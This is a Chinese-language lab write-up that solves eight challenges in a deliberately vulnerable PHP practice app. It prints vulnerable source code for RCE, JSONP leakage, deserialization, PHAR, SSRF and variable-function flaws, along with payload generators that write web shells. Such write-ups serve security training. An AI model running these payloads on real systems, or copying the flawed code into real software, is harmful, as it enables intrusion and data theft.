文章目录
- 一、Blind RCE?
- 二、XSSI
- 三、PHP Object Injection
- 四、PHP Object Injection(cookie)
- 五、PHP Object Injection(Referer)
- 六、PHAR
- 七、SSRF
- 八、Variables
- 总结
一、Blind RCE?
源码:
include("sidebar.php");class Rce { private $user_input; private $level; function __construct() { $this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null; $this->level = isset($_POST['level']) ? $_POST['level'] : null; } function start() { if (empty($this->user_input)) { } else{ exec($this->user_input); } }}$rce = new Rce();if(!empty($_POST)){ $rce->start();}
通过exec()直接传入post的数据,进行命令执行,但是无回显,一般有几种方式,curl外带,dnglog外带,反弹shell等等,这里靶机没有curl,所有curl没法用,当然,可以通过命令执行先下载,再进行curl。
二、XSSI
源码:
session_start();include("sidebar.php");$file = "../api/user";if(!isset($_SESSION['login_user'])){header("location: index.php");}?><!DOCTYPE html><html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title></title> <script src="../jquery/jquery.min.js"></script> <script> function get(){ $.ajax( { url:"../api/user", type:"GET", async:true, success:function(parse){ for (var i in parse){ $("#" + i).text(parse[i]); } } } ); } get(); </script> </head>
error_reporting(0);session_start();if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){ $myObj = new \stdClass(); $myObj->name = "admin"; $myObj->token=time()+2*24*60*60; $data = json_encode($myObj); if(array_key_exists('callback', $_GET)){ header('Content-Type: text/javascript; charset=utf8'); header('Access-Control-Max-Age: 3628800'); header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE'); $callback = $_GET['callback']; echo $callback.'('.$data.');'; }else{ // normal JSON string header('Content-Type: application/json; charset=utf8'); echo $data; }}else { $myObj = new \stdClass(); $myObj->name = ""; $myObj->token=""; $data = json_encode($myObj); if(array_key_exists('callback', $_GET)){ header('Content-Type: text/javascript; charset=utf8'); header('Access-Control-Max-Age: 3628800'); header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE'); $callback = $_GET['callback']; echo $callback.'('.$data.');'; }else{ // normal JSON string header('Content-Type: application/json; charset=utf8'); echo $data; }}?>
使用admin,password登录会设置session,传到xssi.php,xssi.php中的$file指的就是api/user.php,而user.php中会用time()函数生成token,然后通过传入的callback参数输出data数据,因此可以调用/api/user触发。
<html> <head> <title>XSStitle> head><body> <script>function leak(leaked){alert(JSON.stringify(leaked));}; script> <script src="http://ip:3000/api/user?callback=leak" type="text/javascript">script>body>html>
三、PHP Object Injection
源码:
class Foo{ function __construct($filename, $data) { $this->filename = $filename . ".txt"; $this->data = $data; } function __destruct(){ file_put_contents($this->filename, $this->data); }}?>
接收object参数,然后会反序列化object,所以可以触发destruct写入shell。
class Foo{ function __construct($filename, $data) { $this->filename = $filename; $this->data = $data; }}$a=new Foo("/var/www/html/shell.php",'');echo urlencode(serialize($a));
四、PHP Object Injection(cookie)
源码:
include("sidebar.php");include("obj_injection.php");if (isset($_POST['username']) && isset($_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; $object = new stdClass(); $object->user = $username; $data = serialize($object); if($username === "admin" && $password === "password") setcookie("username", $data, time() + (86400 * 30), "/"); // 86400 = 1 day}?><!DOCTYPE html><html><head> <title>Test</title></head><body> <div class="container-fluid"> <div class="row"> <div class="col-lg-12 mb-12"> <!-- Approach --> <div class="card shadow mb-4"> <div class="card-header py-3"> <h6 class="m-0 font-weight-bold text-primary">Object Injection via cookies</h6> </div> <div class="card-body"><form action="content.php" method="POST"> <div class="form-group"> <label for="exampleInputEmail1">Username</label> <input type="text" class="form-control" placeholder="Enter username" name="username"> </div> <div class="form-group"> <label for="exampleInputPassword1">Password</label> <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password" name="password"> </div> <button type="submit" class="btn btn-primary">Submit</button></form><?phpif(isset($_COOKIE['username'])){ $var = unserialize($_COOKIE['username']); echo "
Welcome ".$var->user;}?> </div> </div> </div> </div> <?php include("description.php"); ?> </div></body></html>
class Foo{ public $cmd; function __construct() { } function __destruct(){ eval($this->cmd); }}?>
使用序列化的方式生成cookie,然后对cookie中的username进行反序列化输出,Foo类可以进行命令执行,可以通过传入username,触发eval()。
五、PHP Object Injection(Referer)
源码:
<!DOCTYPE html><html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title></title> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-lg-12 mb-12"> <!-- Approach --> <div class="card shadow mb-4"> <div class="card-header py-3"> <h6 class="m-0 font-weight-bold text-primary">Object Injection (Object Reference)</h6> </div> <div class="card-body"> <form action="objectref.php" method="post"> <div class="form-group"> <label for="exampleInputEmail1">Guess</label> <input type="text" class="form-control" placeholder="Enter number" name="guess"> <input type="hidden" name="input" value='O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}'> </div> <button type="submit" class="btn btn-primary">Submit</button> <p> <p class="text-danger"> Can you win this?.</p> <?php // vuln code if (isset($_POST['guess'])) { // code... $obj = unserialize($_POST['input']); if($obj) { $obj->guess = $_POST['guess']; $obj->secretCode = rand(500000,999999); if($obj->guess === $obj->secretCode) {echo "You Win !!!!!
"; } else{ echo "Loser!!!!
"; } } } ?> <p> </form> </div> </div> </div> </div> <?php include("description.php"); ?> </div> </body></html>
要我们猜的数字和随机数相等,在不知道种子和前一次结果是几乎不可能做到的,但是可以控制input,使其相等。
class A{ var $guess; var $secretCode;}$a=new A();$a->guess=$a->secretCode;echo serialize($a);
六、PHAR
源码:
include("sidebar.php");$target_dir = "uploads/";$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);$uploadOk = 1;$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));// Check if image file is a actual image or fake imageif(isset($_POST["submit"])) { if($imageFileType !== "PHAR") { $uploadOk = 1; } else { echo "File is not a PHAR file."; $uploadOk = 0; }}// Check if file already existsif (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = 0;}// Allow certain file formatsif($imageFileType != "phar") { echo "Sorry, only PHAR file is allowed."; $uploadOk = 0;}// Check if $uploadOk is set to 0 by an errorif ($uploadOk == 0) { echo "Sorry, your file was not uploaded.";// if everything is ok, try to upload file} else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; }}?>
include("sidebar.php");class log{ public $filename="log.txt"; public $data="log"; function __wakeup(){ file_put_contents($this->filename, $this->data); }}if (file_exists($_GET['file'])) { $var = new log();}?><!DOCTYPE html><html><head> <title></title></head><body><div class="container-fluid"> <div class="row"> <div class="col-lg-12 mb-12"> <!-- Approach --> <div class="card shadow mb-4"> <div class="card-header py-3"> <h6 class="m-0 font-weight-bold text-primary">PHAR Deserialization</h6> </div> <div class="card-body"> <form action="upload.php" method="post" enctype="multipart/form-data"> Select PHAR file to upload:<br><br> <input type="file" name="fileToUpload" id="fileToUpload" class="btn btn-secondary"> <input type="submit" value="Upload PHAR" name="submit" class="btn btn-primary"> </form> </div> </div> </div> </div> <?php include("description.php"); ?></div></body>
只能传phar,明显使用phar伪协议触发log类的file_put_contents方法进行shell。
class log{public $filename;public $data;}$a=new log();$a->filename="/var/www/html/phpinfo.php";$a->data="";$phar = new Phar("shell.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub(""); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
七、SSRF
源码:
include("sidebar.php");if (isset($_GET['image'])) { # code... echo file_get_contents($_GET['image'], true);}?><!DOCTYPE html><html><head> <title></title></head><body> <div class="container-fluid"> <!-- Page Heading --> <div class="d-sm-flex align-items-center justify-content-between mb-4"> <h1 class="h3 mb-0 text-gray-800"></h1> </div> <div class="row"> <div class="col-lg-12 mb-12"> <!-- Approach --> <div class="card shadow mb-4"> <div class="card-header py-3"> <h6 class="m-0 font-weight-bold text-primary">SSRF</h6> </div> <div class="card-body"> <form action="index.php" method="GET"> <div class="form-group"> <label for="exampleInputEmail1">Image URL</label> <input type="text" class="form-control" placeholder="Enter url" name="image"> </div> <button type="submit" class="btn btn-primary">Submit</button> <p> </form> <img src="$_GET['image']; ?>"> </div> </div> </div> </div> <?php include("description.php"); ?> </div></body></html>
八、Variables
源码:
include("sidebar.php");?><!DOCTYPE html><html><head> <title>Variables variable</title></head><body> <div class="container-fluid"> <div class="row"> <div class="col-lg-12 mb-12"> <div class="card shadow mb-4"> <div class="card-header py-3"> <h6 class="m-0 font-weight-bold text-primary">Variables variable</h6> </div> <div class="card-body"> <!-- vuln form --> <form action="variable.php" method="GET"> <div class="form-group"> <label for="exampleInputPassword1">String to dump</label> <input type="hidden" name="func" value="var_dump"> <input type="text" class="form-control" id="exampleInputPassword1" name="input" placeholder="string"> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> <br> <p class="text-danger">Output:</p> <p id="output"> <?php if (isset($_GET['func']) && isset($_GET['input'])) { $var = $_GET['func']; ${"var"}($_GET['input']);} ?> </p> </div> </div> </div> </div> <?php include("description.php"); ?> </div></body></html>
直接拼接了两个参数,那么就可以直接进行命令执行,但是要回显,因此可以使用passthru,当然这里也可以直接反弹shell,方式很多。
总结
简单、基础、好玩!
靶场地址:lkwa的某docker镜像地址
来源地址:https://blog.csdn.net/weixin_53090346/article/details/128961217